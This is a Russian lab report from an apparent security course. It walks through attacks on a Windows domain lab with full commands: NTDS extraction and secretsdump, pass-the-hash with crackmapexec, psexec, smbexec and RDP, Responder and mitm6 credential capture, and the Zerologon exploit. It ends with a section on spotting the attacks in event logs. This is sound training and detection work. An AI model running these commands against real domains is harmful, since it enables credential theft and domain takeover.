---
# System prepended metadata

title: 'Отчет по заданиям к практической работе №6. Базовые атаки и компрометация доменной Windows-инфраструктуры:'
tags: [Windows]

---

###### tags: `Windows`
# Отчет по заданиям к практической работе №6. Базовые атаки и компрометация доменной Windows-инфраструктуры:

## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру.

### 1) Провести анализ базы NTDS.

| 1. Воспользуемся базовыми средствами `Windows` для работы с `NTDS`. Необходимо зайти в командную строку от имени администратора и ввести команды: |
| :----------------------------------------- |
|`ntdsutil`|
|`activate instance ntds`|
|`ifm`|
|`create full C:\temp`|
| Этот набор команд активирует процесс `Install From Media`, позволяющий сделать копию нашего `NTDS` с необходимыми ветками реестра.| 
| ![](https://i.imgur.com/8TT1vt7.png)|
|После этого в директории `C:\temp` мы увидим созданные файлы дампа.|
|![](https://i.imgur.com/ehwOOHg.png)|
|![](https://i.imgur.com/oT3rLsZ.png)|

| 2. Воспользуемся базовыми средствами `Kali Linux`. С помощью `SMB` зайдём на `Windows Server` с `Kali`: |
| :----------------------------------------- |
|`smbclient  '\\\\\\192.168.10.200\\C$' -U PT/Administrator`|
|`где 192.168.10.201 - ip адрес контроллера домена,`|
|`testdomain - имя домена,`|
|`Administrator - имя учетной записи с правами администратора.`|
|![](https://i.imgur.com/OO3httf.png)|
| После чего скопируем файлы на `Kali`:| 
| `recurse ON`|
| `prompt OFF`| 
| `lcd /home/ptvadim`| 
| `mget temp`| 
| ![](https://i.imgur.com/ACoR8hC.png)|

| 3. Для анализа дампа для начала нужно скачать `impacket`. Находясь в домашней директории пользователя, выполним набор команд: |
| :----------------------------------------- |
|`git clone https://github.com/SecureAuthCorp/impacket`|
|![](https://i.imgur.com/7bGN0iu.png)|
|`apt install python3-pip`|
|![](https://i.imgur.com/n8jEc3S.png)|
|`cd impacket`|
|`pip install .`|
|![](https://i.imgur.com/Gh9sHOy.png)|
| После установки нужно пройти из директории `impacket` в директорию `examples` и выполнить следующую команду:| 
| `python3 secretsdump.py -ntds /home/ptvadim/temp/Active\ Directory/ntds.dit -system /home/ptvadim/temp/registry/SYSTEM LOCAL`|
| `где secretsdump.py - исполняемый скрипт,`| 
| `ntds.dit - анализируемый инстанс базы данных NTDS,`| 
| `- registry/SYSTEM - ветка реестра, с помощью которой мы можем прочитать NTDS,LOCAL - флаг для скрипта, который говорит, что мы анализируем NTDS локально.`| 
| ![](https://i.imgur.com/0vLLw6p.png)|

### 2) Выполнить атаку “Path-the-hash”.

| Для выполнения атаки вида `PtH` нам понадобится учетная запись и её `hash` пароля. С помощью такой атаки мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля. |
| :----------------------------------------- |

| 1.Просканируем сеть и обнаружим хостов, как либо взаимодействующих с протоколом smb: |
| :----------------------------------------- |
|`crackmapexec smb 192.168.10.0/24`|
|![](https://i.imgur.com/I3NGmUO.png)|
|Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки:|
|`crackmapexec smb 192.168.10.200 -u AdmPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami`|
| ![](https://i.imgur.com/Xv6w8hN.png)| 
| Можно посмотреть список сетевых папок, доступных конкретному пользователю:|
|`crackmapexec smb 192.168.10.200 -u AdmPetr -H 05df2fd1109e3d3b60f110965f6af128 --shares`|
|В impacket есть утилита `smbexec`, позволяющая запустить `cmd windows` для удаленной передачи команд, при этом практически не оставляя следов:|
|`python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:6fddd649e205bc98d5365752ff233f45`|
|`где testdomain - имя домена,`|
|`administrator - имя пользователя,`|
|`192.168.10.200 - адрес компьютера-жертвы`|
|`hashes - спец флаг для использования хэша`|
|![](https://i.imgur.com/7iPxy8g.png)|
|Есть аналог - psexec|
|`python3 psexec.py domain/username:password@hostIP - если знаем пароль`|
|`python3 psexec.py pt.local/Administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:6fddd649e205bc98d5365752ff233f45 - если имеем LM и NTLM-хэши`|
|![](https://i.imgur.com/WdE2Yy5.png)|

| 2. С хешем можно зайти даже по `RDP`. Для этого используется следующая команда:|
| :----------------------------------------- |
|`xfreerdp /d:pt.local /u:Administrator /v:192.168.10.200 /pth:6fddd649e205bc98d5365752ff233f45`|
|Но для начала включим удалённый доступ по `RDP` на `DC1`, доступ дадим администраторам домена.|
|![](https://i.imgur.com/xQGcHwE.png)|
|Пробуем зайти.|
|![](https://i.imgur.com/LpknAYi.png)|
|Действует политика `Restricted admin`. Изменим параметр реестра на `DC1` через скрипт в `Windows Shell`.|
|`New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force`|
|![](https://i.imgur.com/ghSi7gj.png)|
| Успешный вход по RDP.|
|![](https://i.imgur.com/85UiMco.png)|

### 3) Реализовать атаки на базовые протоколы Windows.

+ **NBT-NS & LLMNR & mDNS**

|1. Важной частью эксплуатации будет `WPAD` - специальный протокол для настройки проксирования в системе `Win`. Система всегда запрашивает файл с настройками `wpad.dat`, а злоумышленник может подсунуть свой файл, став прокси-сервером для `Win` и таким образом осуществив атаку `человек посередине`. Основная уязвимость в этих протоколах - отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам. |
| :----------------------------------------- |

|2.Запускаем анализ `Responder`.|
| :----------------------------------------- |
|`responder -I eth0 -A`|
|![](https://i.imgur.com/Eqyti0t.png)|

|3. Эмулируем, что доменный ПК пытается обратиться к несуществующему сетевому ресурсу.|
| :----------------------------------------- |
|![](https://i.imgur.com/0QjzD2f.png)|

|4. Анализатор видит `LLNMR, NBNS` запросы.|
| :----------------------------------------- |
|![](https://i.imgur.com/B3nw1ND.png)|

|5. Проведем атаку.|
| :----------------------------------------- |
|`responder -I eth0 -wFv`|
|`где -I eth0 -- выбор интерфейса,`|
|`w -- отравление WPAD,`|
|`F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно,`|
|`v -- вывод подробной информации (в т.ч. перехваченного хэша).`|
|`Responder` запускается.|
|![](https://i.imgur.com/rgo7iMc.png)|
|Пользователь снова проходит по несуществующему пути. `Responder` притворяется этим ресурсом, поэтому видим окно аутентификации.|
|![](https://i.imgur.com/vIl6OKR.png)|
|`Responder` перехватывает аутентификационный токен.|
|![](https://i.imgur.com/ZGDU0jF.png)|
|Данный токен можно подвергнуть брутфорсу.|

+ **mitm6**

|1. Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети. |
| :----------------------------------------- |

|2.Cкачаем `mitm6`.|
| :----------------------------------------- |
|`git clone https://github.com/dirkjanm/mitm6`|
|`pip install mitm6`|
|![](https://i.imgur.com/rHRtcW7.png)|

|3. Выполним атаку.|
| :----------------------------------------- |
|`python mitm6.py -d pt.local`|
|![](https://i.imgur.com/s169CNk.png)|
|Настройки сетевого адаптера `PC1`. Было:|
|![](https://i.imgur.com/8jblgZj.png)|
|Настройки сетевого адаптера `PC1`. Cтало:|
|![](https://i.imgur.com/y1Gilso.png)|
|Также можем увидеть логи скрипта:|
|![](https://i.imgur.com/I6shywT.png)|

|4. Пока что мы только подменили параметры у `Win10`, обеспечив `mitm`. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся `SMB`.|
| :----------------------------------------- |
|Не отключая mitm6, создадим SMB сервер:|
|`python3 smbserver.py -smb2support SMB /root/SMB`|
|![](https://i.imgur.com/RMjl1wO.png)|
|А на `Win10` через проводник попробуем зайти на наш домен.|
|![](https://i.imgur.com/PXTZvpH.png)|
|Увидим данные аутентификации в выводе программы.|
|![](https://i.imgur.com/wl2pQRb.png)|
|Эти аутентификационные данные уже можно вскрывать с помощью `hashcat` или `John the ripper`. Это не чистый хэш пароля, а аутентификация по протоколу `NTLMv`.|

## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры.

### 1) Провести эксплуатацию уязвимостей контроллера домена.

|1. Для начала нужно активировать политику аудита машинных учетных записей и применить к контроллерам домена. |
| :----------------------------------------- |
|![](https://i.imgur.com/IQnuLLW.png)|
|![](https://i.imgur.com/X7C71Ac.png)|
|`Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant`|

|2.Проведем поиск по уязвимости `zerologon` и найдём множество репозиториев на `github`,  в том числе и с эксплойтами.|
| :----------------------------------------- |
|![](https://i.imgur.com/Cdv9bdl.png)|
|Скачиваем один из них.|
|`git clone https://github.com/risksense/zerologon`|
|![](https://i.imgur.com/VCAc3wx.png)|

|3. Прочитав мануал, используем команду для вызова эксплойта.|
| :----------------------------------------- |
|`python3 set_empty_pw.py DC1 192.168.10.200`|
|![](https://i.imgur.com/f4T3TUR.png)|

|4. Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить `NTDS` с помощью `secretsdump`, скачанного ранее.|
| :----------------------------------------- |
|`python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'`|
|![](https://i.imgur.com/sVVGx6t.png)|
|С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя.|
|![](https://i.imgur.com/hScWrJe.png)|

### 2) Найти следы эксплуатации уязвимостей.

|1. Проверим журнал `System`, увидим ошибку `Netlogon`. |
| :----------------------------------------- |
|![](https://i.imgur.com/NCzVwRH.png)|

|2. Проверим `Security`, увидим событие `4742`.|
| :----------------------------------------- |
|![](https://i.imgur.com/qyiVqfO.png)|

|3. Внимательно проанализируем событие.|
| :----------------------------------------- |
|![](https://i.imgur.com/uab43Yp.png)|
|`Во-первых, ANONYMOUS LOGON - уже довольно подозрительный факт.`|
|`Ещё в логе можно увидеть заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823`|

|4. Найдём событие `5823` в журнале `System` с помощью фильтра.|
| :----------------------------------------- |
|![](https://i.imgur.com/Wd54c8C.png)|


|5. Событие есть, но оно произошло намного раньше.|
| :----------------------------------------- |
|![](https://i.imgur.com/tYUreZP.png)|
|`Если поискать события 4742 за день, когда произошло 5823, то мы их найдём. Это легитимные события, связанные с введением в домен DC2`|

|6. Если происходит дамп `NTDS`, то можно увидеть данные выгрузки в журнале `Direcrory Service`. |
|![](https://i.imgur.com/qdKGu03.png)|
